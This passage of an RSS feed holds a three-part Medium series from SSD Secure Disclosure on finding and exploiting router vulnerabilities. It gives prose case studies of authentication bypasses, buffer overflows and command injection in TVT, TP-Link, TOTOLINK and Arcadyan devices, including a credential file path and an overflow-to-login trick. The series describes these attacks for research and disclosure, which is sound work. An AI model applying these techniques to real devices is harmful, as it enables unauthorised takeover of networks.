href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identify and Exploit Vulnerabilities in Routers: An Introductory Guide & Technical Case Studies]]></title>
            <link>https://medium.com/@odedvk/identify-and-exploit-vulnerabilities-in-routers-an-introductory-guide-technical-case-studies-fe5384fef792?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe5384fef792</guid>
            <category><![CDATA[code]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Sun, 25 Aug 2024 11:30:24 GMT</pubDate>
            <atom:updated>2024-08-25T11:30:24.440Z</atom:updated>
            <content:encoded><![CDATA[<h3>PART THREE</h3><p>In the <a href="https://medium.com/@odedvk/identify-and-exploit-vulnerabilities-in-routers-an-introductory-guide-technical-case-studies-d0f1a24d35ef">last part of our series</a>, we highlighted the importance of having a structured approach that combines automated tools, manual analysis, and best practices when conducting router exploit research. All of which are essential for effective vulnerability identification and exploitation.</p><p>In this part, we’ll dive into examples from recently reported advisories, highlighting essential techniques for identifying and exploiting these vulnerabilities. We’ll provide a comprehensive walkthrough with practical steps and methodologies.</p><p>By analyzing specific examples from recent security advisories, we can effectively showcase the techniques used to identify and exploit vulnerabilities in various systems. These real-world case studies show the specific methods used to uncover security flaws, such as analyzing firmware, testing for weak authentication mechanisms, and probing for command injection vulnerabilities. Through detailed examination, we can reveal how certain vulnerabilities were discovered and demonstrate the step-by-step process of crafting and deploying exploits. This approach not only helps in understanding the technical nuances of each vulnerability but also provides valuable insights into the overall methodology and best practices that can be applied to future security research.</p><h3>Information Disclosure — TVT NVMS9000</h3><p>Researchers discovered a critical security flaw in the NVMS9000 product by TVT, allowing much of the information on the device to be accessed by remote unauthenticated attackers. This includes, but is not limited to, usernames and passwords, network configuration, and more.</p><p>This security flaw was found to be easily exploited if access is gained to its open port (depending on configuration, the relevant port may be 6036, 17000, 17001, 8000, etc).</p><p><strong>Technical Analysis</strong></p><p>A single TCP payload was sent to a NMVS9000 control port (ex: 6036, 17000, 17001, 8000, etc…) and bypassed the authentication process. This was used to execute administrative commands on the targeted NVMS9000.</p><p>This exploit was found to be pretty basic. It used a payload with the queryBasicCfg command in order to get several items, including: the main admin user’s login &amp; password, the product model, the software version, the software launch date, the serial number, the kernel version and the hardware version.</p><p><a href="https://ssd-disclosure.com/ssd-advisory-nvms9000-information-disclosure/">More details and the full POC can be found in SSD’s full advisory</a></p><h3>Authentication Mechanisms — TP-Link NCxxx</h3><p>This vulnerability was found to exist in all TP-Link NCXXX family of devices. The vulnerability allows accessing the device without credentials and when chained with well known and currently unpatched post-auth vulnerabilities it allowed for a complete compromise of the device.</p><p><strong>Technical Analysis</strong></p><p>The vulnerability is more complex than our last example, used to bypass Authentication and it resides in the httpLoginRpm method within the ipcamera binary, specifically in the handler method for the root URL (“/”).</p><p>In this line of code, full_path is a buffer with a maximum size of 64 bytes (0x40 in hexadecimal), and uVar1 is a variable that holds the value obtained from the httpGetEnv(param_1,&quot;DOCUMENT_ROOT&quot;) call, which can be controlled by the user.</p><p>By manipulating the input given to the httpGetEnv function, an attacker altered the uVar1 variable to point to a different file path, essentially sidestepping the concatenation with “login.html”. This allows them to specify a path to any file they wish to access, resulting in a file disclosure vulnerability.</p><p>Once the path construction was successfully manipulated, the designated file opened and its contents relayed back to the attacker, exposing sensitive information stored on the system.</p><p>To bypass authentication it is enough to use this vulnerability to read this hidden file on the filesystem /usr/local/config/ipcamera/.lighttpdpassword. Unauthenticated users should not be able to modify DOCUMENT_ROOT.</p><p><strong>Stack Overflow</strong></p><p>This vulnerability targets the `/sddelfile.fcgi` endpoint and becomes exploitable after authentication, function name in the ipcamera binary is `httpSDDelFile`, leveraging the previously mentioned vulnerability. An attacker can exploit this by sending a POST request with an excessively long `filepath` parameter. The function `swSdDelFile` improperly handles this parameter, leading to a stack overflow vulnerability. It concatenates the attacker-provided `filepath` data byte by byte onto the stack without adequately checking the length of the input.</p><p>Due to the absence of all security protections in the binary, this vulnerability can be exploited.</p><p>Attackers could use it either to cause a Denial of Service (DoS) by crashing the device or potentially execute arbitrary shellcode by manipulating the program’s execution flow to jump to a location on the stack where the shellcode is written.</p><p><a href="https://ssd-disclosure.com/ssd-advisory-tp-link-ncxxx-authentication-bypass/">More details and the full POC can be found in SSD’s full advisory</a></p><h3>AUTHENTICATION BYPASS — TOTOLINK LR1200GB</h3><p>A vulnerability found in TOTOLINK LR1200GB allowed remote unauthenticated attackers to become authenticated due to a stack overflow vulnerability in the web interface. Additional post-auth vulnerabilities in the product allowed for command injection and their execution with elevated privileges — allowing the compromise of the device .</p><h3><strong>Technical Analysis</strong></h3><p>In LR1200GB, the loginAuth function within the cstecgi.cgi implementation handles the authentication process, parsing parameters such as username, password, verify, flag, and topicurl from the incoming request. The topicurl parameter determines the intended functionality to be accessed, and in this instance, it holds the value loginAuth.</p><p>Upon inspecting the source code, an additional parameter, namely http_host, was identified, as depicted in the provided screenshot. This parameter is utilised in the source code, adding an extra layer to the authentication mechanism.</p><p>The code checks whether http_host contains null or not. If not, it is copied to the local stack without proper checks. This makes http_host vulnerable to a buffer overflow. Another critical observation is that the http_host value is stored higher on the stack than the username and password, providing an opportunity for us to overflow and overwrite the legitimate username and password with a value under our control.</p><p>The researcher had verified that the genuine username and password are stored in the stack, with 0x7fc63a20 representing the username and 0x7fc63a44 representing the password. He then proceeded to access the login API with an extensive http_host, aiming to overwrite the authentic username and password with all A characters without altering the<br>return address and causing stack corruption.</p><p>Once both the username and password have been successfully overwritten with ‘A’, the username will change to ‘A’ x 48, and the password is ‘A’ x 12. Consequently, the researcher can utilize a password of ‘A’ x 12 to achieve a login bypass.</p><p><a href="https://ssd-disclosure.com/ssd-advisory-totolink-lr1200gb-auth-bypass/">More details and the full POC can be found in SSD’s full advisory</a></p><h3>Remote Command Execution — Arcadyan FMIMG51AX000J</h3><p>A vulnerability was found in Arcadyan FMIMG51AX000J routers, potentially affecting other WiFi Alliance-affiliated devices using the same version. This vulnerability allows remote attackers to execute arbitrary code on the device.</p><h3>Technical Analysis</h3><p>While running an NMAP port scan on the router in question, the researchers noticed that ports 8000 and 8080 are open, moreover, NMAP gets a response when it tries to probe them but can’t determine the service.</p><p>After fuzzing some TCP packets to the router, the researchers also discovered some responses containing DUT-Wi-FiTestSuite-9.0.0 a service that shouldn’t be working and seems to be a test utility. The service listens in TCP on a predefined port and then waits for TLV packets. This provided the researchers with access to execute commands.</p><p>By looking at the precise utility of each function, they found that they could exploit specific functions by providing a malicious entry formatted with the first 16 bytes of the parameters sent with the command to achieve RCE. Looking further into the code they found that they could use different functions like the wfaTGSendPing function which offered a larger space for command injection to achieve much broader exploitation possibilities and achieve full root access.</p><p><a href="https://ssd-disclosure.com/ssd-advisory-arcadyan-fmimg51ax000j-wifi-alliance-rce/">More details and the full POC can be found in SSD’s full advisory</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z-j78XLl3bmGBznBlbqDCw.png" /></figure><p>If you’re currently conducting research on router vulnerabilities or have found something you would like to explore further and may need a trusted guide, SSD’s team has over 15 years of experience in identifying, analyzing, and responsibly disclosing router vulnerabilities.</p><p>With many router vendors and independent researchers onboard, we guarantee the quickest process and best payouts in the industry for your research.</p><p><a href="http://ssd-disclosure.com/">SSD Secure Disclosure</a> helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe5384fef792" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identify and Exploit Vulnerabilities in Routers: An Introductory Guide & Technical Case Studies]]></title>
            <link>https://medium.com/@odedvk/identify-and-exploit-vulnerabilities-in-routers-an-introductory-guide-technical-case-studies-d0f1a24d35ef?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0f1a24d35ef</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[router]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackathons]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Sun, 18 Aug 2024 07:25:11 GMT</pubDate>
            <atom:updated>2024-08-18T07:25:11.355Z</atom:updated>
            <content:encoded><![CDATA[<h3>PART TWO</h3><p>Vulnerability research in routers is a meticulous process that begins with identifying potential weak points, such as network protocols, firmware, or web interfaces. As we mentioned in our first part, <a href="http://PART ONE!">researchers employ a variety of tools and techniques, including packet sniffing, reverse engineering, and fuzzing, to discover these vulnerabilities</a>.</p><p>Selecting the right tools for router research involves choosing those that can effectively analyze router firmware, network traffic, and configuration settings. Look for tools that offer detailed protocol analysis, vulnerability scanning specific to router models, and the ability to identify common misconfigurations and security flaws. Ensuring compatibility with various router brands and models, as well as the ability to handle complex network environments, will enhance the effectiveness of your vulnerability assessments.</p><p>Similar to other products, the first step in working on routers’ vulnerability research is to gather detailed information about the router you are assessing. This involves identifying the router’s current firmware version and configuration settings as it provides context for potential vulnerabilities and helps tailor your research approach effectively</p><p>The second step would be selecting the right tools for the job. Choosing the right automated tools, testing techniques, and industry best practices is crucial for thoroughly identifying vulnerabilities. Automated tools can quickly scan for common weaknesses, such as outdated firmware or insecure configurations, providing a broad initial overview. However, manual testing is essential for deeper exploration, allowing researchers to creatively probe for less obvious flaws that automated tools might miss, such as logical vulnerabilities or complex authentication bypasses. Adhering to industry best practices ensures that the research is systematic, comprehensive, and aligned with the latest security standards, ultimately leading to more reliable and impactful findings.</p><p>Next, the researcher will analyze the data gathered from the previous steps to identify specific vulnerabilities within the router’s firmware, software, or configuration. This involves understanding the nature of the vulnerabilities, such as buffer overflows, command injection, or weak authentication mechanisms. Researchers then attempt to exploit these vulnerabilities in a controlled environment to determine their impact and potential for exploitation. This phase may include crafting custom exploits, testing various attack vectors, and refining techniques to achieve reliable exploitation. The goal is to assess the severity of the vulnerabilities and understand how they can be leveraged in real-world attacks.</p><p><strong>Here are a few real-world examples of router exploits that illustrate the steps of router exploit research:</strong></p><p><strong>VPNFilter Malware (2018):</strong></p><ul><li><strong>Vulnerability:</strong> VPNFilter targeted over half a million routers and network-attached storage devices worldwide. The malware exploited known vulnerabilities in router firmware from various manufacturers, such as Linksys, MikroTik, and TP-Link.</li><li><strong>Research Steps:</strong> Security researchers used a combination of automated scanning tools to identify affected devices and manual testing to understand how the malware persisted through reboots and its ability to intercept traffic. Industry best practices, such as analyzing traffic behavior and firmware integrity, were crucial in identifying and mitigating the threat.</li><li><strong>Exploitation:</strong> The attackers exploited the vulnerabilities to create a botnet that could steal data, launch attacks, and even render devices unusable.</li></ul><p><strong>RomPager Vulnerability (Misfortune Cookie) (2014):</strong></p><ul><li><strong>Vulnerability:</strong> The Misfortune Cookie vulnerability was found in the RomPager embedded web server, which is used in millions of routers. The flaw allowed attackers to gain administrative access to routers remotely.</li><li><strong>Research Steps:</strong> Researchers used automated tools to scan the internet for devices running the vulnerable RomPager version, followed by manual testing to develop a proof-of-concept (PoC) exploit. Best practices included thorough documentation of the vulnerability and responsible disclosure to affected vendors.</li><li><strong>Exploitation:</strong> An attacker could send a crafted HTTP cookie to the router, granting them full control over the device and potentially the entire network.</li></ul><p><strong>Netgear R7000 and R6400 Routers Command Injection (2016):</strong></p><ul><li><strong>Vulnerability:</strong> A command injection vulnerability was discovered in the web interface of Netgear R7000 and R6400 routers. This flaw allowed attackers to execute arbitrary commands on the router.</li><li><strong>Research Steps:</strong> After using automated tools to identify the routers’ firmware versions, researchers performed manual testing to craft specific payloads that exploited the vulnerability. Best practices included assessing the impact on the broader network and coordinating a response with the vendor.</li><li><strong>Exploitation:</strong> The vulnerability allowed an unauthenticated attacker to gain root access to the router by sending a specially crafted HTTP request.</li></ul><p>These examples demonstrate the importance of a structured approach in router exploit research, combining automated tools, manual analysis, and adherence to best practices to identify, understand, and potentially exploit vulnerabilities in real-world scenarios.</p><p>In part three of our series, we will be drilling into examples from recent reported advisories, we’ll illustrate key techniques for identifying and exploiting these vulnerabilities and present the full walkthrough in practical steps and methodologies for D-link, TP-link and TotoLink routers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4U5idCxrx6BrhkmObx2VBg.png" /></figure><p><a href="http://ssd-disclosure.com/">SSD Secure Disclosure</a> helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0f1a24d35ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Identify and Exploit Vulnerabilities in Routers: An Introductory Guide & Technical Case Studies]]></title>
            <link>https://medium.com/ssd-secure-disclosure/identify-and-exploit-vulnerabilities-in-routers-an-introductory-guide-technical-case-studies-908259642d3c?source=rss-882924548426------2</link>
            <guid isPermaLink="false">https://medium.com/p/908259642d3c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[router]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Oded van Kloeten]]></dc:creator>
            <pubDate>Sun, 04 Aug 2024 07:51:04 GMT</pubDate>
            <atom:updated>2024-08-04T07:51:04.775Z</atom:updated>
            <content:encoded><![CDATA[<h3>PART ONE</h3><p>In your home or small office, your router is the key player that connects your local devices — like computers, smartphones, and printers — to your Internet service provider (ISP). This means you can have all your gadgets online at the same time without any hassle. Essentially, your router is crucial for keeping your data flowing smoothly and securely, whether you’re working, streaming, or just browsing the web.</p><p>Wireless routers are like the heart of your home or office network, directing data traffic between your local devices and the internet. They support various Wi-Fi standards, like Wi-Fi 5 and Wi-Fi 6, offering different speeds and coverage. Operating at the network layer, routers use IP addresses to send data packets to their destinations, relying on routing tables to find the best paths. Modern routers come with security features like WPA3 encryption to keep your network safe from intruders. Additionally, many routers include advanced functionalities such as guest networks, parental controls, and Quality of Service (QoS) settings to prioritize traffic for specific applications or devices.</p><p>Being so widely used, routers can be vulnerable to a variety of exploits and attacks due to several factors related to their hardware, software, configuration, and usage patterns.</p><p>There are multiple ways routers may be vulnerable:</p><h4>1. Insecure Authentication Mechanisms:</h4><p>Weak or poorly implemented authentication mechanisms can allow attackers to brute-force passwords or bypass authentication altogether, gaining unauthorized access to the router’s settings.</p><h4>2. Vulnerabilities in Network Services:</h4><p>Routers often run various network services such as HTTP, FTP, Telnet, SSH, SNMP, etc. Vulnerabilities in these services, such as buffer overflows or improper input validation, can be exploited to gain remote access or execute arbitrary code.</p><h4>3. Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF):</h4><p>Web-based interfaces used for router configuration are susceptible to XSS and CSRF attacks. These can be exploited to execute malicious scripts in the context of an authenticated user or to perform actions without the user’s consent.</p><h4>4. DNS Spoofing and Man-in-the-Middle Attacks:</h4><p>DNS settings in routers can be manipulated to redirect users to malicious websites (DNS spoofing). Routers can also be targeted in MITM attacks where an attacker intercepts and alters communication between devices.</p><p>Understanding router architecture is essential for identifying attack surfaces, as it involves comprehending the intricate interplay between hardware components and software systems that govern network functionality. Hardware components like CPUs, memory modules, and network interfaces provide insight into potential vulnerabilities such as buffer overflows or physical access points.</p><p>Meanwhile, dissecting the router’s operating system and firmware uncovers vulnerabilities in protocol implementations, authentication mechanisms, or configuration interfaces that could be exploited remotely or locally. By carefully mapping out how these components interact, cybersecurity experts can identify key points where attacks might occur, whether it&#39;s through network protocols, web interfaces, or firmware vulnerabilities. This allows them to develop effective ways to counter these threats and strengthen the router&#39;s security. Having a thorough understanding of these interactions is crucial for both defending against attacks and proactively improving the security of your network.</p><p>Vulnerability research in routers is a step-by-step process that starts with finding possible weak spots like network protocols, firmware, or web interfaces. Researchers use various tools and techniques such as packet sniffing, reverse engineering, and fuzzing to uncover these weaknesses. When they find a potential vulnerability, they analyze its impact and how it might be exploited. This means figuring out the root cause, whether it’s due to insecure settings, flawed implementations, or outdated software. Researchers document their findings with detailed proof-of-concept demonstrations to show how the vulnerability can be exploited. Ethical researchers then share their discoveries with router manufacturers or the cybersecurity community to help create timely patches and protect users’ networks and data.</p><p>Thus, vulnerability research in routers is not only about finding flaws but also about contributing to the overall improvement of network security infrastructure.</p><p>In part two, we will be discussing tools and techniques for finding vulnerabilities and showcase some real world examples from our recent published advisories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*etYGTOfuCYjSIF4MPrtYLQ.png" /></figure><p><a href="http://ssd-disclosure.com">SSD Secure Disclosure</a> helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s <a href="https://ssd-disclosure.com/product-index/">product scope</a> which is being updated monthly with new products and vendors.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=908259642d3c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/ssd-secure-disclosure/identify-and-exploit-vulnerabilities-in-routers-an-introductory-guide-technical-case-studies-908259642d3c">Identify and Exploit Vulnerabilities in Routers: An Introductory Guide &amp; Technical Case Studies</a> was originally published in <a href="https://medium.com/ssd-secure-disclosure">SSD Secure Disclosure</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>